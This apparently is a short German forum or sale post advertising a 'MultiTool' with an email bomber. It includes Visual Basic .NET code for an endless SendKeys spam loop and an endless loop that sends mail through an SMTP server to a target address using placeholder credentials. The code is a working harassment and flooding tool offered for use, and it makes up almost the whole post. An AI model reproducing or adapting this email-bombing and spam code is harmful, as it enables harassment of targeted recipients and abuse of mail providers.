Vk einen File puper/MultiTool (emailbomber etc.)

DO
SendKeys.Send("SPAMMTEXT")
SendKeys.Send("{ENTER}")
LOOP

        Do
            Dim text As String
            text = TextBox1.Text & vbLf
            Dim myClient As New Net.Mail.SmtpClient("smtp.web.de")
            myClient.Credentials = New NetworkCredential("SENDeMAIL", "PW")
            myClient.Send("SENDeMAIL", "Zielmail", "Betreff", text)
        Loop